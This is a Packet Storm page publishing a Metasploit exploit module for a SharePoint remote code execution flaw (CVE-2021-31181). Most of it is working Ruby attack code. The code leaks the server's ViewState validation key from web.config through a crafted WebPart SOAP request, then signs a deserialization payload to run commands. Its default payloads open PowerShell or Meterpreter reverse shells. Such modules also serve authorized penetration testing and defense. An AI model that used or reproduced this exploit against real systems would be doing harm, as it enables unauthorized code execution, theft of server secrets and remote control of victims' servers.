what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft SharePoint Unsafe Control And ViewState Remote Code Execution

Microsoft SharePoint Unsafe Control And ViewState Remote Code Execution
Posted Jun 17, 2021
Authored by unknown, Spencer McIntyre, wvu | Site metasploit.com

The EditingPageParser.VerifyControlOnSafeList method fails to properly validate user supplied data. This can be leveraged by an attacker to leak sensitive information in rendered-preview content. This module will leak the ViewState validation key and then use it to sign a crafted object that will trigger code execution when deserialized. Tested against SharePoint 2019 and SharePoint 2016, both on Windows Server 2016.

tags | exploit, code execution
systems | windows
advisories | CVE-2021-31181
SHA-256 | 5dcb06868c15ec6031a011204cbd74de26b37669890217421638293a9f77e49b

Microsoft SharePoint Unsafe Control And ViewState Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Sharepoint
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell

XML_NS = {
'wpp' => 'http://microsoft.com/sharepoint/webpartpages',
'soap' => 'http://www.w3.org/2003/05/soap-envelope',
'xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xsd' => 'http://www.w3.org/2001/XMLSchema'
}.freeze

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft SharePoint Unsafe Control and ViewState RCE',
'Description' => %q{
The EditingPageParser.VerifyControlOnSafeList method fails to properly validate user supplied data. This
can be leveraged by an attacker to leak sensitive information in rendered-preview content. This module will
leak the ViewState validation key and then use it to sign a crafted object that will trigger code execution
when deserialized.

Tested against SharePoint 2019 and SharePoint 2016, both on Windows Server 2016.
},
'Author' => [
'Unknown', # Reported to HP ZDI team, Vulnerability discovery
'Spencer McIntyre', # Module
'wvu' # Module
],
'References' => [
[ 'CVE', '2021-31181' ],
[ 'ZDI', '21-573' ],
[ 'URL', 'https://www.zerodayinitiative.com/blog/2021/6/1/cve-2021-31181-microsoft-sharepoint-webpart-interpretation-conflict-remote-code-execution-vulnerability' ]
],
'DisclosureDate' => '2021-05-11',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
}
}
],
[
'PowerShell Stager',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
}
}
]
],
'DefaultTarget' => 2,
'DefaultOptions' => {
'DotNetGadgetChain' => :TypeConfuseDelegate
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('VALIDATION_KEY', [false, 'ViewState validation key']),
OptString.new('COOKIE', [false, 'SharePoint cookie if you have one']),
OptString.new('SP_LIST', [true, 'SharePoint site SPList', 'Documents']),
# "Promote" these advanced options so we don't have to pass around our own
OptString.new('HttpUsername', [false, 'SharePoint username']),
OptString.new('HttpPassword', [false, 'SharePoint password'])
])
end

def post_auth?
true
end

def username
datastore['HttpUsername']
end

def password
datastore['HttpPassword']
end

def cookie
datastore['COOKIE']
end

def vuln_builds
# https://docs.microsoft.com/en-us/officeupdates/sharepoint-updates
# https://buildnumbers.wordpress.com/sharepoint/
# Patched in May of 2021
[
[Rex::Version.new('15.0.0.0'), Rex::Version.new('15.0.0.5337')], # SharePoint 2013
[Rex::Version.new('16.0.0.0'), Rex::Version.new('16.0.0.5149')], # SharePoint 2016
[Rex::Version.new('16.0.0.10000'), Rex::Version.new('16.0.0.10373')] # SharePoint 2019
]
end

def check
build = sharepoint_get_version('cookie' => cookie)

if build.nil?
return CheckCode::Unknown('Failed to retrieve the SharePoint version number')
end

if vuln_builds.any? { |build_range| build.between?(*build_range) }
return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")
end

CheckCode::Safe("SharePoint #{build} is not a vulnerable build.")
end

def exploit
if (username.blank? && password.blank?)
if cookie.blank?
fail_with(Failure::BadConfig, 'HttpUsername and HttpPassword or COOKIE are required for exploitation')
end

print_warning('Using the specified COOKIE for authentication')
end

if (@validation_key = datastore['VALIDATION_KEY'])
print_status("Using ViewState validation key #{@validation_key}")
else
leak_web_config
end

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :win_cmd
execute_command(payload.encoded)
when :win_dropper
execute_cmdstager
when :psh_stager
execute_command(cmd_psh_payload(
payload.encoded,
payload.arch.first,
remove_comspec: true
))
end
end

def leak_web_config
print_status('Leaking the ViewState validation key...')

web_id = sharepoint_get_site_web_id('cookie' => cookie)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the site web ID') unless web_id

webpart = <<~WEBPART
<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPage" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register TagPrefix="att" Namespace="System.Web.UI.WebControls " Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %>
WEBPART
webpart << Nokogiri::XML(<<-WEBPART, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<WebPartPages:XsltListFormWebPart id="id01" runat="server" ListDisplayName="#{datastore['SP_LIST'].encode(xml: :text)}" WebId="{#{web_id.encode(xml: :text)}}">
<DataSources>
<att:xmldatasource runat="server" id="XDS1"
XPath="/configuration/system.web/machineKey"
datafile="c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config" />
</DataSources>
<xsl>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" indent="yes" />
<xsl:template match="/">
<xsl:copy-of select="." />
</xsl:template>
</xsl:stylesheet>
</xsl>
</WebPartPages:XsltListFormWebPart>
WEBPART

envelope = '<?xml version="1.0" encoding="utf-8"?>'
envelope << Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
<soap12:Body>
<RenderWebPartForEdit xmlns="http://microsoft.com/sharepoint/webpartpages">
<webPartXml>#{webpart.encode(xml: :text)}</webPartXml>
</RenderWebPartForEdit>
</soap12:Body>
</soap12:Envelope>
ENVELOPE

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '_vti_bin', 'WebPartPages.asmx'),
'cookie' => cookie,
'ctype' => 'application/soap+xml; charset=utf-8',
'data' => envelope
)

unless res
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
end

unless res.code == 200
fail_with(Failure::NotFound, "Failed to retrieve #{normalize_uri(target_uri.path, '_vti_bin', 'WebPartPages.asmx')}")
end

xml_response = res.get_xml_document
if xml_response.nil?
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (non-XML response body)')
end

xml_result = xml_response.xpath('//wpp:RenderWebPartForEditResult', XML_NS)&.text
unless xml_result
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //wpp:RenderWebPartForEditResult)')
end

xml_result = Nokogiri::XML(xml_result)
web_part_pages = Nokogiri::XML(xml_result.xpath('//Properties').text)
unless web_part_pages&.root
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //Properties)')
end

unless (preview = web_part_pages.root.attr('__designer:Preview'))
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing attribute: __desiginer:Preview)')
end
preview = Nokogiri::HTML(CGI.unescapeHTML(preview))
unless (@validation_key = preview.at('//machinekey/@validationkey')&.text)
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //machinekey/@validationkey)')
end

print_good("ViewState validation key: #{@validation_key}")
end

def execute_command(cmd, _opts = {})
sharepoint_execute_command_via_viewstate(cmd, @validation_key, { 'cookie' => cookie })
end
end
Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    20 Files
  • 31
    Jan 31st
    31 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close